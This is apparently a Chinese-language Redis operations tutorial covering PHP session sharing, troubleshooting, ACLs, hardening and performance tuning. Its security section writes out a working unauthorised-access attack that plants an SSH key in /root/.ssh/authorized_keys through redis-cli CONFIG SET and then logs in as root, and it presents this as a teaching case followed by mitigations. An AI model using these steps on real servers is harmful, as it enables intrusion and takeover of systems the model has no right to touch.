
Redis在其中的作用

  1. Session共享:多台Web服务器共享用户登录状态
  2. 热点数据缓存:文章/帖子/配置缓存
  3. 计数器:帖子浏览量、点赞数

8.2 PHP Redis扩展安装

bash 复制代码
# 安装php-redis扩展
yum install -y php-redis
# 或编译安装
pecl install redis

# 验证
php -m | grep redis

8.3 Session配置

ini 复制代码
# php.ini
session.save_handler = redis
session.save_path = "tcp://192.168.1.11:6379?auth=StrongP@ss123&database=1"

8.4 PHP操作Redis示例

php 复制代码
<?php
// 连接Redis
$redis = new Redis();
$redis->connect('192.168.1.11', 6379);
$redis->auth('StrongP@ss123');

// 缓存查询
$cacheKey = 'discuz:article:latest';
$articles = $redis->get($cacheKey);

if (!$articles) {
    // 从MySQL查询
    $result = $mysqli->query("SELECT * FROM pre_forum_thread ORDER BY dateline DESC LIMIT 20");
    $articles = json_encode($result->fetch_all(MYSQLI_ASSOC));
    $redis->setex($cacheKey, 3600, $articles);
}

// 浏览量计数
$redis->incr('discuz:article:' . $tid . ':views');
?>

8.5 部署注意事项

  1. Redis放在内网,不暴露公网端口
  2. 强密码认证(requirepass
  3. 限制连接数:maxclients 10000
  4. 监控内存使用率(建议 < 70%)
  5. 定期备份RDB/AOF文件

第9章:Redis故障排查与安全加固

9.1 常见故障分类

故障类别 典型现象 排查方向
连接故障 客户端无法连接 防火墙/SELinux、bind配置、最大连接数
内存故障 OOM、SWAP、操作超时 maxmemory、淘汰策略、BigKey
持久化故障 RDB/AOF写入失败、启动加载失败 磁盘空间、权限、文件损坏
复制故障 主从断开、延迟过大 网络、防火墙、积压缓冲区
高可用故障 哨兵/Sentinel频繁切换 网络抖动(排查down-after)、failover超时
性能故障 响应变慢、CPU 100% 慢查询、BigKey、持久化
安全故障 未授权访问、数据被篡改 认证配置、公网暴露

9.2 核心诊断命令

bash 复制代码
# 内存
redis-cli INFO memory | grep used_memory_human
redis-cli --bigkeys                           # 扫描BigKey

# 性能
redis-cli SLOWLOG GET 10                      # 最近10条慢查询
redis-cli SLOWLOG RESET                       # 清空慢查询日志
redis-cli INFO stats | grep instantaneous_ops_per_sec  # 当前QPS

# 连接
redis-cli INFO clients | grep connected_clients
redis-cli CLIENT LIST                         # 查看所有客户端连接

# 持久化
redis-cli INFO persistence                    # RDB/AOF状态

# 复制
redis-cli INFO replication                    # 主从状态

# CPU/内存
redis-cli INFO cpu
redis-cli INFO memory | grep mem_fragmentation_ratio  # 碎片率

9.3 经典故障案例

案例1:缓存雪崩 → 数据库崩溃

复制代码
现象:凌晨定时任务刷新全部缓存,瞬间全部key过期,大量请求打到MySQL
根因:缓存key统一过期时间
解决:过期时间加随机值(EXPIRE key 3600 + random(0, 600))

案例2:BigKey导致操作阻塞

bash 复制代码
# 排查BigKey
redis-cli --bigkeys

# 输出示例:
# Biggest string found: "user:data:999999" has 5242880 bytes
# Biggest list found: "message_history" has 9999999 items

# 避免方案:
# 1. String:压缩后存储 或 拆分(user:1001:part1/part2)
# 2. List/Hash/Set:分片存储(key_1, key_2...)
# 3. 大Value场景:只存储ID,内容存对象存储(OSS/S3)

BigKey的危害

  1. 内存不均(单节点倾斜)
  2. 操作阻塞(DEL大Key时Redis是单线程的)
  3. 网络带宽瓶颈(迁移大Key耗时)
  4. 主从切换时全量同步慢

案例3:主从切换失败

复制代码
现象:哨兵选出新主,但Slave切换失败
排查:
  1. redis-cli -p 26380 SENTINEL get-master-addr-by-name mymaster
  2. 检查新主节点的 replica-read-only 配置
  3. 检查日志中 +failover-state-* 状态变化
解决:
  # 手动强制切换
  redis-cli -h slave_ip -p 6380 REPLICAOF NO ONE   # 提升为Master
  redis-cli -h other_slave -p 6381 REPLICAOF 192.168.1.11 6380  # 指向新Master

案例4:Cluster节点失效

bash 复制代码
# 节点挂掉后集群状态
redis-cli -p 6379 CLUSTER NODES | grep fail
# 节点自动由Slave接管

# 手动修复失效节点
# 1. 重启失效节点
redis-server /etc/redis/7000.conf

# 2. 如果原Master已恢复,需要手动CLUSTER FAILOVER让Master降级或删除后重新加入
redis-cli -p 7000 CLUSTER RESET
redis-cli -p 6379 CLUSTER MEET 192.168.166.9 7000

9.4 安全加固

基线检查清单

类别 检查项 配置
认证 设置强密码 requirepass StrongP@ss123
网络 绑定内网IP bind 192.168.x.x
网络 修改默认端口 port 16379
网络 启用保护模式 protected-mode yes
网络 禁止危险命令 rename-command FLUSHDB ""
配置 禁用CONFIG远程修改 rename-command CONFIG ""
权限 配置文件600 chmod 600 redis.conf
权限 专用用户运行 User=redis
监控 开启日志 logfile /data/redis/log/redis.log

ACL访问控制(Redis 6.0+)

bash 复制代码
# 创建只读用户
ACL SETUSER readonly ON >ReadP@ss123 ~* +@read -@write -@dangerous

# 创建读写用户
ACL SETUSER rwuser ON >RwP@ss123 ~* +@all -@dangerous

# 禁用危险命令类
ACL SETUSER appuser ON >AppP@ss123 ~* +@all -@dangerous

# 列出所有用户
ACL LIST

# 查看当前用户权限
ACL WHOAMI

真实攻击案例:【教案补充】

复制代码
攻击者利用Redis未授权访问(无密码 + bind 0.0.0.0):

1. 扫描Redis端口:
   nmap -p 6379 192.168.1.0/24

2. 发现无密码Redis后,写入SSH公钥:
   redis-cli -h 目标IP config set dir /root/.ssh/
   redis-cli -h 目标IP config set dbfilename "authorized_keys"
   redis-cli -h 目标IP set ssh-key "\n\nssh-rsa AAAAB3Nz.....\n\n"
   redis-cli -h 目标IP save

3. 使用私钥免密登录服务器:
   ssh -i id_rsa root@目标IP

4. 上传挖矿程序、内网横向渗透...

防护措施:
- requirepass 必须设置
- bind 内网IP
- rename-command CONFIG "" (禁止CONFIG SET)
- 使用非root用户运行Redis
- 设置 iptables 白名单

Redis安全黄金法则

  1. 永远不要在无密码的情况下暴露Redis到公网
  2. 永远用非root用户运行Redis
  3. 务必 禁用危险命令:FLUSHDB / FLUSHALL / CONFIG / DEBUG / SHUTDOWN
  4. 务必用 ACL 最小权限(6.0+)
  5. 必须配置日志审计

第10章:Redis性能优化与面试必问总结

10.1 性能优化方向

Pipeline批量操作

bash 复制代码
# 不使用Pipeline:n次RTT网络往返
# 使用Pipeline:一次网络往返
redis-cli --pipe << EOF
SET key1 val1
SET key2 val2
SET key3 val3
...
EOF

避免慢查询

bash 复制代码
# 排查慢查询
SLOWLOG GET 20       # 获取最近20条
SLOWLOG LEN          # 慢查询数量

# 配置慢查询
CONFIG SET slowlog-log-slower-than 10000   # 超过10ms记录(微秒)
CONFIG SET slowlog-max-len 128             # 最多存储128条

慢查询常见原因

  • KEYS * (生产绝对禁用!改用SCAN)
  • 大Key操作(HGETALL大Hash)
  • O(N)的集合操作(SMEMBERS大Set)
  • RDB/AOF持久化I/O阻塞

内存优化

bash 复制代码
# 内存碎片优化
redis-cli INFO memory | grep mem_fragmentation_ratio
# > 1.5 → 启用碎片整理
CONFIG SET activedefrag yes

# 内存使用率告警阈值
# 建议使用率 < 70%
redis-cli INFO memory | grep used_memory_human
ini 复制代码
# 内存优化配置
maxmemory 4gb
maxmemory-policy allkeys-lru
activedefrag yes                 # 自动内存碎片整理
hash-max-ziplist-entries 512     # 小Hash使用压缩列表(节省内存)
hash-max-ziplist-value 64        # 值≤64字节时用ziplist
list-max-ziplist-size -2         # List用quicklist
zset-max-ziplist-entries 128     # 小ZSet用ziplist

redis-benchmark压测

bash 复制代码
# 全面基准测试
redis-benchmark -h 127.0.0.1 -p 6379 -a password -n 1000000 -c 100 -q

# 单独测试某命令
redis-benchmark -t set,get -n 100000 -q

# 指定数据大小时用 -d
redis-benchmark -t set -n 100000 -d 1024   # 每条1KB数据

10.2 灾难恢复流程

复制代码
1. 止损:断开问题节点网络 / 切换到备用节点
2. 评估:确认数据损坏范围(最后RDB时间、最后AOF位置)
3. 恢复:
   ├─ 有备份 → 最近RDB/AOF拷贝到数据目录 → 重启
   └─ 无备份 → 检查AOF文件是否可修复
4. 验证:redis-cli DBSIZE → 对比关键key
5. 回归:重新加入集群/主从关系

10.3 监控告警关键指标

指标 含义 告警阈值
used_memory / maxmemory 内存使用率 > 80%
instantaneous_ops_per_sec 当前QPS 环比波动 > 50%
rejected_connections 拒绝连接数 > 0
master_link_status 主从连接状态 down
connected_slaves 从库数量 变化(减少)
blocked_clients 阻塞的客户端 > 0
keyspace_hits / misses 缓存命中率 < 90%

附录A:Redis面试必问知识速查

排序 知识点 章节 核心问题
1 缓存穿透/击穿/雪崩 第7章 定义 + 各自解决方案(至少说3种)
2 持久化RDB vs AOF 第3章 区别、优缺点、生产策略、混合持久化
3 Cluster分片原理 第6章 16384槽位、CRC16算法、MOVED重定向、Gossip协议
4 Redis为什么快 第1章 内存操作+单线程+IO多路复用+高效数据结构
5 Sentinel故障转移 第5章 SDOWN/ODOWN、Raft选举、4步转移、哨兵数量
6 5种数据类型 第2章 每种的特性和适用场景(ZSet的跳跃表原理)
7 主从复制原理 第4章 全量/部分复制、PSYNC三要素、积压缓冲区
8 内存淘汰策略 第7章 8种策略(LRU/LFU区别)+ maxmemory-policy选择
9 Redis事务 第7章 vs MySQL事务、WATCH乐观锁、Cluster下限制
10 安全加固 第9章 未授权攻击案例、ACL、危险命令禁用

附录B:Redis运维工具箱

工具 用途
redis-cli 命令行客户端
redis-benchmark 性能基准测试
redis-check-aof AOF文件修复
redis-check-rdb RDB文件检查
redis-sentinel 哨兵服务
redis-cli --bigkeys BigKey扫描
redis-cli --memkeys 内存使用分析
redis-cli --latency 延迟监控
redis-cli --stat 实时状态

附录C:Redis vs Memcached

维度 Redis Memcached
数据类型 5种丰富类型 仅String
持久化 RDB + AOF
集群 Cluster原生支持 客户端分片
线程模型 单线程(6.0+多线程I/O) 多线程
最大Value 512MB 1MB
适用 复杂场景、高可用需求 简单KV缓存
相关推荐
casual~1 小时前
【学习记录(2)】
c++·学习
努力学习_小白10 小时前
ResNeXt-50——学习记录
pytorch·深度学习·学习
basketball61611 小时前
Redis基础:1. Redis介绍
数据库·redis·缓存
毕竟是shy哥13 小时前
基于提示引导适配器的实体级对齐遥感图文检索
人工智能·学习·bert·transformer
happyness4413 小时前
向AI学习,而不是把任务扔给AI
人工智能·学习
世人万千丶14 小时前
鸿蒙PC问题解决:窗口拖动与拉伸时页面布局瞬间错乱、回弹后恢复
学习·华为·开源·harmonyos·鸿蒙·鸿蒙系统
zyl8372114 小时前
Python NumPy 学习
python·学习·numpy
装不满的克莱因瓶14 小时前
学习使用 Python 机器学习工具 sklearn
人工智能·python·学习·机器学习·ai·agent·智能体
GNG15 小时前
《终身成长》读书笔记
笔记·学习